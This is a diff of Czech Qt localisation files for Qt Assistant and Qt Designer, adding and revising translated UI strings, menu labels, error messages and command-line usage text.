    +        Bez názvu
    +    
    +
    +
         BookmarkManager
         
    -        
             Bookmarks
    -        Záložky
    +        Záložky
    +    
    +    
    +        Untitled
    +        Bez názvu
         
         
    -        
             Remove
             Odstranit
         
         
    -        
             You are going to delete a Folder, this will also<br>remove it's content. Are you sure to continue?
             Když smažete tuto složku, bude smazán i <br>celý její obsah. Opravdu chcete pokračovat?
         
         
    -        
    -        
    +        Manage Bookmarks...
    +        Spravovat záložky...
    +    
    +    
    +        Add Bookmark...
    +        Přidat záložku...
    +    
    +    
    +        Ctrl+D
    +        Ctrl+D
    +    
    +    
    +        Delete Folder
    +        Smazat složku
    +    
    +    
    +        Rename Folder
    +        Přejmenovat složku
    +    
    +    
    +        Show Bookmark
    +        Ukázat záložku
    +    
    +    
    +        Show Bookmark in New Tab
    +        Ukázat záložku v nové kartě
    +    
    +    
    +        Delete Bookmark
    +        Smazat záložku
    +    
    +    
    +        Rename Bookmark
    +        Přejmenovat záložku
    +    
    +    
             New Folder
    -        Nová složka
    +        Nová složka
         
     
     
    -    BookmarkWidget
    +    BookmarkManagerWidget
         
    -        
    -        Filter:
    -        Filtr:
    +        Manage Bookmarks
    +        Spravovat záložky
    +    
    +    
    +        Search:
    +        Hledat:
         
         
    -        
             Remove
             Odstranit
         
         
    -        
    +        Import and Backup
    +        Zavést a zazálohovat
    +    
    +    
    +        OK
    +        OK
    +    
    +    
    +        Import...
    +        Zavést...
    +    
    +    
    +        Export...
    +        Vyvést...
    +    
    +    
    +        Open File
    +        Otevřít soubor
    +    
    +    
    +        Files (*.xbel)
    +        Soubory XBEL (*.xbel)
    +    
    +    
    +        Save File
    +        Uložit soubor
    +    
    +    
    +        Qt Assistant
    +        Qt Assistant
    +    
    +    
    +        Unable to save bookmarks.
    +        Nelze uložit záložky.
    +    
    +    
    +        You are goingto delete a Folder, this will also<br> remove it's content. Are you sure to continue?
    +        Chystáte se smazat složku, což <br> odstraní i její obsah. Jste si jistý, že chcete pokračovat?
    +    
    +    
             Delete Folder
             Smazat složku
         
         
    -        
             Rename Folder
             Přejmenovat složku
         
         
    -        
             Show Bookmark
             Ukázat záložku
         
         
    -        
             Show Bookmark in New Tab
             Ukázat záložku v nové kartě
         
         
    -        
             Delete Bookmark
             Smazat záložku
         
         
    -        
             Rename Bookmark
             Přejmenovat záložku
         
    +
    +
    +    BookmarkModel
    +    
    +        Name
    +        Název
    +    
    +    
    +        Address
    +        Adresa
    +    
    +    
    +        Bookmarks Menu
    +        Nabídka se záložkami
    +    
    +
    +
    +    BookmarkWidget
    +    
    +        Filter:
    +        Filtr:
    +    
    +    
    +        Remove
    +        Odstranit
    +    
    +    
    +        Delete Folder
    +        Smazat složku
    +    
    +    
    +        Rename Folder
    +        Přejmenovat složku
    +    
    +    
    +        Show Bookmark
    +        Ukázat záložku
    +    
    +    
    +        Show Bookmark in New Tab
    +        Ukázat záložku v nové kartě
    +    
    +    
    +        Delete Bookmark
    +        Smazat záložku
    +    
    +    
    +        Rename Bookmark
    +        Přejmenovat záložku
    +    
         
    -        
             Add
             Přidat
         
    +    
    +        Bookmarks
    +        Záložky
    +    
     
     
         CentralWidget
         
    -        
             Add new page
             Přidat novou stranu
         
         
    -        
             Close current page
             Zavřít současnou stranu
         
         
    -        
             Print Document
             Vytisknout dokument
         
         
    -        
    -        
             unknown
             Neznámý
         
         
    -        
             Add New Page
             Přidat novou stranu
         
         
    -        
             Close This Page
             Zavřít tuto stranu
         
         
    -        
             Close Other Pages
             Zavřít jiné strany
         
         
    -        
             Add Bookmark for this Page...
             Přidat záložku pro tuto stranu...
         
         
    -        
             Search
             Hledat
         
     
     
    +    CmdLineParser
    +    
    +        Usage: assistant [Options]
    +
    +-collectionFile file       Uses the specified collection
    +                           file instead of the default one
    +-showUrl url               Shows the document with the
    +                           url.
    +-enableRemoteControl       Enables Assistant to be
    +                           remotely controlled.
    +-show widget               Shows the specified dockwidget
    +                           which can be "contents", "index",
    +                           "bookmarks" or "search".
    +-activate widget           Activates the specified dockwidget
    +                           which can be "contents", "index",
    +                           "bookmarks" or "search".
    +-hide widget               Hides the specified dockwidget
    +                           which can be "contents", "index"
    +                           "bookmarks" or "search".
    +-register helpFile         Registers the specified help file
    +                           (.qch) in the given collection
    +                           file.
    +-unregister helpFile       Unregisters the specified help file
    +                           (.qch) from the give collection
    +                           file.
    +-setCurrentFilter filter   Set the filter as the active filter.
    +-remove-search-index       Removes the full text search index.
    +-rebuild-search-index      Re-builds the full text search index (potentially slow).
    +-quiet                     Does not display any error or
    +                           status message.
    +-help                      Displays this help.
    +
    +        
    +    
    +    
    +        Unknown option: %1
    +        Neznámá volba: %1
    +    
    +    
    +        The collection file '%1' does not exist.
    +        Sbírkový soubor '%1' neexistuje.
    +    
    +    
    +        Missing collection file.
    +        Chybí sbírkový soubor.
    +    
    +    
    +        Invalid URL '%1'.
    +        Neplatná adresa (URL) '%1'.
    +    
    +    
    +        Missing URL.
    +        Chybí adresa (URL).
    +    
    +    
    +        Unknown widget: %1
    +        Neznámý prvek: %1
    +    
    +    
    +        Missing widget.
    +        Chybí prvek.
    +    
    +    
    +        The Qt help file '%1' does not exist.
    +        Soubor s nápovědou ke Qt '%1' nelze najít.
    +    
    +    
    +        Missing help file.
    +        Chybí soubor s nápovědou.
    +    
    +    
    +        Missing filter argument.
    +        Chybí argument pro filtr.
    +    
    +    
    +        Error
    +        Chyba
    +    
    +    
    +        Notice
    +        Zpráva
    +    
    +
    +
         ContentWindow
         
    -        
             Open Link
             Otevřít adresu odkazu
         
         
    -        
             Open Link in New Tab
             Otevřít odkaz v nové kartě
         
     
     
    +    ConversionWizard
    +    
    +        Help Conversion Wizard
    +        Průvodce pro převod nápovědy
    +    
    +    
    +        Converting %1...
    +        Převádí se %1...
    +    
    +    
    +        Writing help collection file...
    +        Zapisuje se soubor se sbírkou s nápovědou...
    +    
    +    
    +        Done.
    +        Hotovo.
    +    
    +
    +
    +    FilesPage
    +    
    +        Form
    +        Formulář
    +    
    +    
    +        Files:
    +        Soubory:
    +    
    +    
    +        Remove
    +        Odstranit
    +    
    +    
    +        Remove All
    +        Odstranit vše
    +    
    +    
    +        Unreferenced Files
    +        Neodkazované soubory
    +    
    +    
    +        Remove files which are neither referenced by a keyword nor by the TOC.
    +        Odstranit soubory, které nejsou odkazovány ani klíčovým slovem ani obsahem (TOC).
    +    
    +    
    +        <p><b>Warning:</b> When removing images or stylesheets, be aware that those files are not directly referenced by the .adp or .dcf file.</p>
    +        <p><b>Varování:</b> Když odstraňujete obrázky nebo stylové listy, buďte si vědom, že tyto soubory nejsou přímo odkazovány souborem .adp nebo .dcf.</p>
    +    
    +
    +
         FilterNameDialogClass
         
    -        
             Add Filter Name
             Přidat název filtru
         
         
    -        
             Filter Name:
             Název filtru:
         
     
     
    +    FilterPage
    +    
    +        Form
    +        Formulář
    +    
    +    
    +        Filter attributes for current documentation (comma separated list):
    +        Vlastnosti filtru pro nynější dokumentaci (čárkou oddělený seznam):
    +    
    +    
    +        Custom Filters
    +        Uživatelsky stanovené filtry
    +    
    +    
    +        1
    +        1
    +    
    +    
    +        2
    +        2
    +    
    +    
    +        Add
    +        Přidat
    +    
    +    
    +        Remove
    +        Odstranit
    +    
    +    
    +        Filter Settings
    +        Nastavení filtru
    +    
    +    
    +        Specify the filter attributes for the documentation. If filter attributes are used, also define a custom filter for it. Both the filter attributes and the custom filters are optional.
    +        Zadejte vlastnosti filtru pro dokumentaci. Pokud jsou používány vlastnosti filtru, měl by se pro ně stanovit i uživatelsky stanovený filtr. Jak vlastnosti filtru tak uživatelsky stanovené filtry jsou volitelné.
    +    
    +    
    +        Filter Name
    +        Název filtru
    +    
    +    
    +        Filter Attributes
    +        Vlastnosti filtru
    +    
    +    
    +        The custom filter '%1' is defined multiple times.
    +        Uživatelsky stanovený filtr '%1' je stanoven vícekrát.
    +    
    +    
    +        The attributes for custom filter '%1' are defined multiple times.
    +        Vlastnosti pro uživatelsky stanovený filtr '%1' jsou vymezeny vícekrát.
    +    
    +    
    +        unfiltered
    +        list of available documentation
    +        Nefiltrováno
    +    
    +
    +
         FindWidget
         
    -        
             Previous
             Předchozí
         
         
    -        
             Next
             Další
         
         
    -        
             Case Sensitive
             Rozlišující velká a malá písmena
         
         
    -        
             Whole words
    -        Celá slova
    +        Celá slova
         
         
    -        
             <img src=":/trolltech/assistant/images/wrap.png">&nbsp;Search wrapped
             <img src=":/trolltech/assistant/images/wrap.png">&nbsp;Konec strany
         
     
     
    +    FinishPage
    +    
    +        Converting File
    +        Převádí se soubor
    +    
    +    
    +        Creating the new Qt help files from the old ADP file.
    +        Vytváří se nové soubory s nápovědou Qt ze starých souborů ADP.
    +    
    +
    +
         FontPanel
         
    -        
             Font
             Písmo
         
         
    -        
             &Writing system
             Způsob &psaní
         
         
    -        
             &Family
             &Písmová rodina
         
         
    -        
             &Style
             &Styl
         
         
    -        
             &Point size
             &Bodová velikost
         
     
     
    +    GeneralPage
    +    
    +        Form
    +        Formulář
    +    
    +    
    +        Namespace:
    +        Jmenný prostor:
    +    
    +    
    +        Virtual Folder:
    +        Virtuální složka:
    +    
    +    
    +        General Settings
    +        Obecná nastavení
    +    
    +    
    +        Specify the namespace and the virtual folder for the documentation.
    +        Zadejte jmenný prostor a virtuální složku pro dokumentaci.
    +    
    +    
    +        Namespace Error
    +        Chyba ve jmenném prostoru
    +    
    +    
    +        The namespace contains some invalid characters.
    +        Jmenný prostor obsahuje nějaké neplatné znaky.
    +    
    +    
    +        Virtual Folder Error
    +        Chyba ve virtuální složce
    +    
    +    
    +        The virtual folder contains some invalid characters.
    +        Virtuální složka obsahuje nějaké neplatné znaky.
    +    
    +
    +
    +    HelpEngineWrapper
    +    
    +        Unfiltered
    +        Nefiltrováno
    +    
    +
    +
    +    HelpGenerator
    +    
    +        Warning: %1
    +        Varování: %1
    +    
    +
    +
         HelpViewer
         
    -        
             Help
    -        Nápověda
    +        Nápověda
         
         
    -        
             OK
    -        OK
    +        OK
    +    
    +    
    +        <title>about:blank</title>
    +        <title>about:blank</title>
         
         
    -        
             <title>Error 404...</title><div align="center"><br><br><h1>The page could not be found</h1><br><h3>'%1'</h3></div>
             <title>Chyba 404 ...</title><div align="center"><br><br><h1>Stranu se nepodařilo najít.</h1><br><h3>'%1'</h3></div>
         
         
    -        
             Copy &Link Location
             &Kopírovat adresu odkazu
         
         
    -        
             Open Link in New Tab	Ctrl+LMB
             Otevřít odkaz v nové kartě	Ctrl+LMB
         
         
    -        
             Open Link in New Tab
             Otevřít odkaz v nové kartě
         
         
    -        
             Unable to launch external application.
     
    -        Chyba při spouštění vnější aplikace.
    +        Chyba při spouštění vnější aplikace.
     
         
     
     
    +    HelpWindow
    +    
    +        <center><b>Wizard Assistant</b></center>
    +        <center><b>Průvodce</b></center>
    +    
    +
    +
    +    IdentifierPage
    +    
    +        Form
    +        Formulář
    +    
    +    
    +        Create identifiers
    +        Vytvořit identifikátory
    +    
    +    
    +        Global prefix:
    +        Celková předpona:
    +    
    +    
    +        Inherit prefix from file names
    +        Předponu vzít z názvů souborů
    +    
    +    
    +        Identifiers
    +        Identifikátory
    +    
    +    
    +        This page allows you to create identifiers from the keywords found in the .adp or .dcf file.
    +        Tato stránka vám umožňuje vytvořit identifikátory z klíčových slov nalezených v souboru .adp nebo .dcf.
    +    
    +
    +
         IndexWindow
         
    -        
             &Look for:
             &Hledat:
         
         
    -        
             Open Link
             Otevřít adresu odkazu
         
         
    -        
             Open Link in New Tab
             Otevřít odkaz v nové kartě
         
     
     
    +    InputPage
    +    
    +        Form
    +        Formulář
    +    
    +    
    +        File name:
    +        Název souboru:
    +    
    +    
    +        ...
    +        ...
    +    
    +    
    +        Input File
    +        Vstupní soubor
    +    
    +    
    +        Specify the .adp or .dcf file you want to convert to the new Qt help project format and/or collection format.
    +        Zadejte soubor .adp nebo .dcf, který chcete převést do nového formátu projektů nápovědy Qt a/nebo formátu sbírky.
    +    
    +    
    +        Open file
    +        Otevřít soubor
    +    
    +    
    +        Qt Help Files (*.adp *.dcf)
    +        Soubory s nápovědou (*.adp *.dcf)
    +    
    +    
    +        File Open Error
    +        Chyba při otevírání souboru
    +    
    +    
    +        The specified file could not be opened!
    +        Zadaný soubor nelze otevřít!
    +    
    +    
    +        File Parsing Error
    +        Chyba při zpracování souboru
    +    
    +    
    +        Parsing error in line %1!
    +        Chyba při zpracování na řádku %1!
    +    
    +
    +
         InstallDialog
         
    -        
    -        
             Install Documentation
             Nainstalovat dokumentaci
         
         
    -        
             Downloading documentation info...
             Stahuje se informace o  dokumentaci...
         
         
    -        
             Download canceled.
             Stahování bylo zrušeno.
         
         
    -        
    -        
    -        
             Done.
             Hotovo.
         
         
    -        
             The file %1 already exists. Do you want to overwrite it?
             Soubor %1 již existuje. Chcete jej přepsat?
         
         
    -        
             Unable to save the file %1: %2.
             Soubor %1 nelze uložit: %2.
         
         
    -        
             Downloading %1...
             Stahuje se %1...
         
         
    -        
    -        
    -        
             Download failed: %1.
             Stažení se nezdařilo: %1.
         
         
    -        
             Documentation info file is corrupt!
             Soubor s informací o dokumentaci je poškozen!
         
         
    -        
             Download failed: Downloaded file is corrupted.
             Stažení se nezdařilo: Stažený soubor je pravděpodobně poškozen.
         
         
    -        
             Installing documentation %1...
             Instaluje dokumentace %1...
         
         
    -        
             Error while installing documentation:
     %1
             Chyba při instalaci dokumentace:
     %1
         
         
    -        
             Available Documentation:
             Dostupná dokumentace:
         
         
    -        
             Install
             Instalovat
         
         
    -        
             Cancel
             Zrušit
         
         
    -        
             Close
             Zavřít
         
         
    -        
             Installation Path:
             Cesta pro instalaci:
         
         
    -        
             ...
             ...
         
    @@ -440,342 +898,375 @@
     
         MainWindow
         
    -        
    -        
             Index
             Rejstřík
         
         
    -        
    -        
             Contents
             Obsah
         
         
    -        
    -        
             Bookmarks
             Záložky
         
         
    -        
             Search
             Hledat
         
         
    -        
    -        
    -        
             Qt Assistant
             Qt Assistant
         
         
    -        
    -        
             Unfiltered
    -        Bez filtru
    +        Bez filtru
         
         
    -        
             Page Set&up...
             &Nastavení strany...
         
         
    -        
             Print Preview...
             Náhled tisku...
         
         
    -        
             &Print...
             &Tisk...
         
         
    -        
             New &Tab
             Nová &karta
         
         
    -        
             &Close Tab
             &Zavřít kartu
         
         
    -        
             &Quit
             &Ukončit
         
         
    -        
    +        CTRL+Q
    +        Ctrl+Q
    +    
    +    
             &Copy selected Text
             &Kopírovat vybraný text
         
         
    -        
             &Find in Text...
             &Najít v textu...
         
         
    -        
    +        &Find
    +        &Najít
    +    
    +    
             Find &Next
             Hledat &dál
         
         
    -        
             Find &Previous
             Najít &předchozí
         
         
    -        
             Preferences...
             Nastavení...
         
         
    -        
             Zoom &in
             &Zvětšit
         
         
    -        
             Zoom &out
             &Zmenšit
         
         
    -        
             Normal &Size
             Obvyklá &velikost
         
         
    -        
             Ctrl+0
             Ctrl+0
         
         
    -        
             ALT+C
             ALT+C
         
         
    -        
             ALT+I
             ALT+I
         
         
    -        
             ALT+S
             ALT+S
         
         
    -        
             &Home
             &Začáteční strana
         
         
    -        
             &Back
             &Zpět
         
         
    -        
             &Forward
             &Dopředu
         
         
    -        
             Sync with Table of Contents
             Seřídit stranu s kartou obsahu
         
         
    -        
    +        Sync
    +        Seřídit
    +    
    +    
             Next Page
             Další strana
         
         
    -        
             Ctrl+Alt+Right
             Ctrl+Alt+Right
         
         
    -        
             Previous Page
             Předchozí strana
         
         
    -        
             Ctrl+Alt+Left
             Ctrl+Alt+Left
         
         
    -        
    +        Could not register file '%1': %2
    +        Nepodařilo se zaznamenat soubor '%1': %2
    +    
    +    
             Add Bookmark...
    -        Přidat záložku...
    +        Přidat záložku...
         
         
    -        
             About...
             O...
         
         
    -        
             Navigation Toolbar
             Navigační pruh
         
         
    -        
             Toolbars
             Nástrojové pruhy
         
         
    -        
             Filter Toolbar
             Filtrovací pruh
         
         
    -        
             Filtered by:
             Filtr:
         
         
    -        
             Address Toolbar
             Adresní pruh
         
         
    -        
             Address:
             Adresa:
         
         
    -        
             Could not find the associated content item.
             Nepodařilo se najít příslušnou položku obsahu.
         
         
    -        
    +        <center><h3>%1</h3><p>Version %2</p></center><p>Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).</p>
    +        <center><h3>%1</h3><p>Verze %2</p></center><p>Autorské právo (C) 2009 Nokia Corporation a/nebo její dceřinná společnost(i).</p>
    +    
    +    
             About %1
             O %1
         
         
    -        
             Updating search index
             Sestavuje se rejstřík hledání
         
         
    -        
             Looking for Qt Documentation...
             Hledá se dokumentace ke Qt...
         
         
    -        
             &Window
             &Okno
         
         
    -        
             Minimize
             Zmenšit
         
         
    -        
             Ctrl+M
             Ctrl+M
         
         
    -        
             Zoom
             Zvětšení
         
         
    -        
             &File
             &Soubor
         
         
    -        
             &Edit
             &Úpravy
         
         
    -        
             &View
             &Pohled
         
         
    -        
             &Go
             &Jít na
         
         
    -        
             ALT+Home
             ALT+Home
         
         
    -        
             &Bookmarks
             &Záložky
         
         
    -        
             &Help
             &Nápověda
         
         
    -        
             ALT+O
             ALT+O
         
         
    -        
             CTRL+D
    -        CTRL+D
    +        CTRL+D
    +    
    +
    +
    +    OutputPage
    +    
    +        Form
    +        Formulář
    +    
    +    
    +        Project file name:
    +        Název projektového souboru:
    +    
    +    
    +        Collection file name:
    +        Název sbírkového souboru:
    +    
    +    
    +        Output File Names
    +        Názvy výstupních souborů
    +    
    +    
    +        Specify the file names for the output files.
    +        Zadejte názvy souborů pro výstupní soubory.
    +    
    +    
    +        Convert...
    +        Převést...
    +    
    +    
    +        Qt Help Project File
    +        Projektový soubor s nápovědou Qt
    +    
    +    
    +        Qt Help Collection Project File
    +        Projektový sbírkový soubor s nápovědou Qt
    +    
    +    
    +        The specified file %1 already exist.
    +
    +Do you want to remove it?
    +        Zadaný soubor %1 již existuje.
    +
    +Chcete jej odstranit?
    +    
    +    
    +        Remove
    +        Odstranit
    +    
    +    
    +        Cancel
    +        Zrušit
    +    
    +
    +
    +    PathPage
    +    
    +        Form
    +        Formulář
    +    
    +    
    +        File filters:
    +        Souborové filtry:
    +    
    +    
    +        Documentation source file paths:
    +        Cesty ke zdrojovým souborům s dokumentací:
    +    
    +    
    +        Add
    +        Přidat
    +    
    +    
    +        Remove
    +        Odstranit
    +    
    +    
    +        Source File Paths
    +        Cesty ke zdrojovým souborům
    +    
    +    
    +        Specify the paths where the sources files are located. By default, all files in those directories matched by the file filter will be included.
    +        Zadejte cesty k místům, v nichž jsou uloženy zdrojové soubory. Ve výchozím nastavení budou zahrnuty všechny soubory v těchto adresářích odpovídající podle souborového filtru.
    +    
    +    
    +        Source File Path
    +        Cesta ke zdrojovému souboru
         
     
     
         PreferencesDialog
         
    -        
    -        
             Add Documentation
             Přidat dokumentaci
         
         
    -        
             Qt Compressed Help Files (*.qch)
    -        Stlačené soubory s nápovědoun (*.qch)
    +        Stlačené soubory s nápovědou (*.qch)
         
         
    -        
             The specified file is not a valid Qt Help File!
             Zadaný soubor není platným souborem nápovědy ke Qt.
         
         
    -        
             The namespace %1 is already registered!
             Jmenný prostor %1 je již zaznamenám!
         
         
    -        
             Remove Documentation
             Odstranit dokumentaci
         
         
    -        
             Some documents currently opened in Assistant reference the documentation you are attempting to remove. Removing the documentation will close those documents.
             Některé v současnosti otevřené dokumenty pocházejí z dokumentace, kterou se právě pokoušíte odstranit. Při odstraňování budou zavřeny.
         
         
    -        
             Cancel
             Zrušit
         
         
    -        
             OK
             OK
         
         
    -        
             Use custom settings
             Použít nastavení stanovená uživatelem
         
    @@ -783,239 +1274,334 @@
     
         PreferencesDialogClass
         
    -        
             Preferences
             Nastavení
         
         
    -        
             Fonts
             Písma
         
         
    -        
             Font settings:
             Nastavení písem:
         
         
    -        
             Browser
             Prohlížeč
         
         
    -        
             Application
             Program
         
         
    -        
             Filters
             Filtr
         
         
    -        
             Filter:
             Filtr:
         
         
    -        
             Attributes:
             Vlastnosti:
         
         
    -        
             1
             1
         
         
    -        
             Add
             Přidat
         
         
    -        
             Remove
             Odstranit
         
         
    -        
             Documentation
             Dokumentace
         
         
    -        
             Registered Documentation:
             Zaznamenaná dokumentace:
         
         
    -        
             Add...
             Přidat...
         
         
    -        
             Options
             Volby
         
         
    -        
             Current Page
             Nynější strana
         
         
    -        
             Restore to default
             Obnovit výchozí nastavení
         
         
    -        
             Homepage
             Začáteční stránka
         
         
    -        
             On help start:
             Na začátek nápovědy:
         
         
    -        
             Show my home page
             Ukázat moji domovskou stránku
         
         
    -        
             Show a blank page
             Ukázat prázdnou stránku
         
         
    -        
             Show my tabs from last session
             Ukázat mé karty z posledního sezení
         
         
    -        
             Blank Page
             Prázdná strana
         
     
     
    +    QCollectionGenerator
    +    
    +        Unknown token at line %1.
    +        Neznámé klíčové slovo na řádku %1.
    +    
    +    
    +        Unknown token at line %1. Expected "QtHelpCollectionProject".
    +        Neznámé klíčové slovo na řádku %1. Očekáván "QtHelpCollectionProject".
    +    
    +    
    +        Missing end tags.
    +        Chybí zavírající prvky.
    +    
    +    
    +        Missing input or output file for help file generation.
    +        Chybí některé pro vytvoření souboru s nápovědou potřebné vstupní nebo výstupní soubory.
    +    
    +    
    +        Missing output file name.
    +        Nebyl zadán žádný název pro výstupní soubor.
    +    
    +    
    +        Qt Collection Generator version 1.0 (Qt %1)
    +
    +        Qt Collection Generator verze 1.0 (Qt %1)
    +
    +    
    +    
    +        Missing collection config file.
    +        Soubor s nastavením potřebný pro sbírku chybí.
    +    
    +    
    +        
    +Usage:
    +
    +qcollectiongenerator <collection-config-file> [options]
    +
    +  -o <collection-file>   Generates a collection file
    +                         called <collection-file>. If
    +                         this option is not specified
    +                         a default name will be used.
    +  -v                     Displays the version of
    +                         qcollectiongenerator.
    +
    +
    +        
    +    
    +    
    +        Could not open %1.
    +
    +        Nepodařilo se otevřít %1.
    +
    +    
    +    
    +        Reading collection config file...
    +
    +        Čte se soubor s nastavením pro sbírku...
    +
    +    
    +    
    +        Collection config file error: %1
    +
    +        Chyba v souboru s nastavením pro sbírku: %1
    +
    +    
    +    
    +        Generating help for %1...
    +
    +        Vytváří se nápověda pro %1...
    +
    +    
    +    
    +        Creating collection file...
    +
    +        Vytváří se sbírkový soubor...
    +
    +    
    +    
    +        The file %1 cannot be overwritten.
    +
    +        Soubor %1 nelze přepsat.
    +
    +    
    +    
    +        Cannot open %1.
    +
    +        Nelze otevřít %1.
    +
    +    
    +    
    +        Cannot open referenced image file %1.
    +
    +        Nelze otevřít odkazovaný obrázkový soubor %1.
    +
    +    
    +
    +
    +    QHelpGenerator
    +    
    +        Missing output file name.
    +        Nebyl zadán žádný název pro výstupní soubor.
    +    
    +    
    +        Qt Help Generator version 1.0 (Qt %1)
    +
    +        Qt Collection Generator verze 1.0 (Qt %1)
    +
    +    
    +    
    +        Missing Qt help project file.
    +        Chybí projektový soubor s nápovědou Qt.
    +    
    +    
    +        
    +Usage:
    +
    +qhelpgenerator <help-project-file> [options]
    +
    +  -o <compressed-file>   Generates a Qt compressed help
    +                         file called <compressed-file>.
    +                         If this option is not specified
    +                         a default name will be used.
    +  -c                     Checks whether all links in HTML files
    +                         point to files in this help project.
    +  -v                     Displays the version of 
    +                         qhelpgenerator.
    +
    +
    +        
    +    
    +    
    +        Could not open %1.
    +
    +        Nepodařilo se otevřít %1.
    +
    +    
    +    
    +        Could not create output directory: %1
    +
    +        Nepodařilo se vytvořit výstupní adresář: %1
    +
    +    
    +
    +
         QObject
         
    -        
             The specified collection file does not exist!
    -        Zadaný sbírkový soubor nelze najít!
    +        Zadaný sbírkový soubor nelze najít!
         
         
    -        
             Missing collection file!
    -        Chybějící sbírkový soubor!
    +        Chybějící sbírkový soubor!
         
         
    -        
             Invalid URL!
    -        Neplatné URL!
    +        Neplatné URL!
         
         
    -        
             Missing URL!
    -        Chybějící URL!
    +        Chybějící URL!
         
         
    -        
    -        
    -        
             Unknown widget: %1
    -        Neznámý prvek: %1
    +        Neznámý prvek: %1
         
         
    -        
    -        
    -        
             Missing widget!
    -        Chybějící prvek!
    +        Chybějící prvek!
         
         
    -        
    -        
             The specified Qt help file does not exist!
    -        Zadaný soubor s nápovědou ke Qt nelze najít!
    +        Zadaný soubor s nápovědou ke Qt nelze najít!
         
         
    -        
    -        
             Missing help file!
    -        Chybějící soubor s nápovědou!
    +        Chybějící soubor s nápovědou!
         
         
    -        
             Missing filter argument!
    -        Chybějící argument pro filtr!
    +        Chybějící argument pro filtr!
         
         
    -        
             Unknown option: %1
    -        Neznámá volba: %1
    +        Neznámá volba: %1
         
         
    -        
    -        
             Qt Assistant
    -        Qt Assistant
    +        Qt Assistant
         
         
    -        
             Could not register documentation file
     %1
     
     Reason:
     %2
    -        Soubor s dokumentací %1 nelze zaznamenat
    +        Soubor s dokumentací %1 nelze zaznamenat
     
     Důvod:
     %2
         
         
    -        
             Documentation successfully registered.
    -        Dokumentace byla úspěšně zaznamenána.
    +        Dokumentace byla úspěšně zaznamenána.
         
         
    -        
             Could not unregister documentation file
     %1
     
     Reason:
     %2
    -        Zaznamenání souboru s dokumentací %1 nelze zrušit
    +        Zaznamenání souboru s dokumentací %1 nelze zrušit
     
     Grund:
     %2
         
         
    -        
             Documentation successfully unregistered.
    -        Dokumentace byla úspěšně odstraněna.
    +        Dokumentace byla úspěšně odstraněna.
         
         
    -        
             Cannot load sqlite database driver!
    -        Databázový ovladač pro SQLite nelze nahrát!
    +        Databázový ovladač pro SQLite nelze nahrát!
         
         
    -        
             The specified collection file could not be read!
    -        Zadaný sbírkový soubor nelze přečíst!
    +        Zadaný sbírkový soubor nelze přečíst!
         
     
     
         RemoteControl
         
    -        
             Debugging Remote Control
             Ladí se dálkové ovládání
         
         
    -        
             Received Command: %1 %2
             Přijatý příkaz: %1 : %2
         
    @@ -1023,22 +1609,18 @@ Grund:
     
         SearchWidget
         
    -        
             &Copy
             &Kopírovat
         
         
    -        
             Copy &Link Location
             &Kopírovat adresu odkazu
         
         
    -        
             Open Link in New Tab
             Otevřít odkaz v nové kartě
         
         
    -        
             Select All
             Vybrat vše
         
    @@ -1046,27 +1628,22 @@ Grund:
     
         TopicChooser
         
    -        
             Choose a topic for <b>%1</b>:
             Vyberte námět pro <b>%1</b>:
         
         
    -        
             Choose Topic
             Vybrat námět
         
         
    -        
             &Topics
             &Náměty
         
         
    -        
             &Display
             &Zobrazit
         
         
    -        
             &Close
             &Zavřít
         
    diff --git a/translations/designer_cs.ts b/translations/designer_cs.ts
    old mode 100644
    new mode 100755
    index ea33a57..4099695
    --- a/translations/designer_cs.ts
    +++ b/translations/designer_cs.ts
    @@ -4,45 +4,80 @@
     
         AbstractFindWidget
         
    -        
             &Previous
             &Předchozí
         
         
    -        
             &Next
             &Další
         
         
    -        
             &Case sensitive
             &Rozlišující velká a malá písmena
         
         
    -        
             Whole &words
             Celá &slova
         
         
    -        
             <img src=":/trolltech/shared/images/wrap.png">&nbsp;Search wrapped
             <img src=":/trolltech/shared/images/wrap.png">&nbsp;Hledání dosáhlo konce
         
     
     
    +    AbstractItemEditor
    +    
    +        Selectable
    +        Vybratelné
    +    
    +    
    +        Editable
    +        Upravitelné
    +    
    +    
    +        DragEnabled
    +        TáhnutíPovoleno
    +    
    +    
    +        DropEnabled
    +        UpuštěníPovoleno
    +    
    +    
    +        UserCheckable
    +        ZaškrtnutelnéUživatelem
    +    
    +    
    +        Enabled
    +        Povoleno
    +    
    +    
    +        Tristate
    +        Tristate
    +    
    +    
    +        Unchecked
    +        Zaškrtnutí zrušeno
    +    
    +    
    +        PartiallyChecked
    +        ČástečněZaškrtnuto
    +    
    +    
    +        Checked
    +        Zaškrtnuto
    +    
    +
    +
         AddLinkDialog
         
    -        
             Insert Link
             Vložit odkaz
         
         
    -        
             Title:
             Název:
         
         
    -        
             URL:
             URL:
         
    @@ -50,7 +85,6 @@
     
         AppFontDialog
         
    -        
             Additional Fonts
             Dodatečná písma
         
    @@ -58,37 +92,30 @@
     
         AppFontManager
         
    -        
             '%1' is not a file.
             '%1' není soubor.
         
         
    -        
             The font file '%1' does not have read permissions.
             Soubor s písmem '%1' nemá oprávnění ke čtení.
         
         
    -        
             The font file '%1' is already loaded.
             Soubor s písmem '%1' je již nahrán.
         
         
    -        
             The font file '%1' could not be loaded.
             Soubor s písmem '%1' se nepodařilo nahrát.
         
         
    -        
             '%1' is not a valid font id.
             '%1' není platným písmovým ID.
         
         
    -        
             There is no loaded font matching the id '%1'.
             Není nahráno žádné písmo s ID '%1'.
         
         
    -        
             The font '%1' (%2) could not be unloaded.
             Písmo '%1' (%2) se nepodařilo uvolnit z paměti.
         
    @@ -96,52 +123,42 @@
     
         AppFontWidget
         
    -        
             Fonts
             Písma
         
         
    -        
             Add font files
             Přidat soubory s písmy
         
         
    -        
             Remove current font file
             Odstranit současný soubor s písmem
         
         
    -        
             Remove all font files
             Odstranit všechny soubory s písmy
         
         
    -        
             Add Font Files
             Přidat soubory s písmy
         
         
    -        
             Font files (*.ttf)
             Soubory s písmy (*.ttf)
         
         
    -        
             Error Adding Fonts
             Chyba při přidávání písem
         
         
    -        
             Error Removing Fonts
             Chyba při odstraňování písem
         
         
    -        
             Remove Fonts
             Odstranit písma
         
         
    -        
             Would you like to remove all fonts?
             Chcete odstranit všechna písma?
         
    @@ -149,12 +166,10 @@
     
         AppearanceOptionsWidget
         
    -        
             Form
             Formulář
         
         
    -        
             User Interface Mode
             Okenní režim
         
    @@ -162,17 +177,14 @@
     
         AssistantClient
         
    -        
             Unable to send request: Assistant is not responding.
             Chyba při posílání požadavku: Program Assistant neodpovídá.
         
         
    -        
             The binary '%1' does not exist.
             Proveditelný soubor '%1' neexistuje.
         
         
    -        
             Unable to launch assistant (%1).
